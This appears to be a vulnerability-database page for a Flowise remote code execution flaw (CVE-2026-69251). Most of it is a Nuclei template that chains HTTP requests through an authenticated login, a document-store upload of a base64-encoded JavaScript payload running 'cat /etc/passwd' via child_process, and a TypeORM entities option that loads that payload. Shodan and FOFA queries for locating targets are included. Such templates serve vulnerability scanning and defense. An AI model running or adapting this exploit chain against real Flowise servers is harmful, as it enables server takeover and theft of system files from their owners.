Flowise < 3.1.3 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2026-69251 | 4 Aug 202614:27 | – | attackerkb | |
| CVE-2026-69251 | 4 Aug 202616:35 | – | circl | |
| CVE-2026-69251 | 4 Aug 202614:27 | – | cve | |
| CVE-2026-69251 Flowise RCE via TypeORM DataSource | 4 Aug 202614:27 | – | cvelist | |
| EUVD-2026-52701 | 4 Aug 202614:27 | – | euvd | |
| Flowise RCE via TypeORM DataSource | 4 Aug 202614:28 | – | github | |
| CVE-2026-69251 | 4 Aug 202615:16 | – | nvd | |
| GHSA-G32J-MMXR-GFQ5 Flowise RCE via TypeORM DataSource | 4 Aug 202614:28 | – | osv | |
| 📄 Flowise 3.1.2 Authenticated Remote Code Execution | 4 Aug 202600:00 | – | packetstorm | |
| NPM: Flowise RCE via TypeORM DataSource | 4 Aug 202614:28 | – | patchstack |
10
id: CVE-2026-69251
info:
name: Flowise < 3.1.3 - Remote Code Execution
author: 1dayexploit
severity: critical
description: |
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
impact: |
Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Update to version 3.1.3 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- https://nvd.nist.gov/vuln/detail/CVE-2026-69251
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 9.0
cve-id: CVE-2026-69251
epss-score: 0.00792
epss-percentile: 0.53059
cwe-id: CWE-94
metadata:
verified: true
max-request: 5
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive
variables:
fname: "{{to_lower(rand_text_alpha(8))}}"
payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
skip-variables-check: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
condition: and
internal: true
- raw:
- |
POST /api/v1/document-store/store HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"name":"poc-{{fname}}","description":"CVE-2026-69251"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "loaders")'
condition: and
internal: true
extractors:
- type: regex
name: storeid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: loaderid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /api/v1/document-store/vectorstore/insert HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- '!contains(body, "Disallowed TypeORM DataSource option")'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- 'Error: (root:.*?)",\"stack'
# digest: 490a0046304402203b2466d9226e47c1adcf9c171e802f78de2837f8af05916bb9617fa14a9803970220122eef41943f6060195d1d8d32c880d81b82f475cb6d6bd1ccdd58cdf63f00c1:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Aug 2026 18:53Current
6.4Medium risk
Vulners AI Score6.4
CVSS 49
EPSS0.00792
SSVC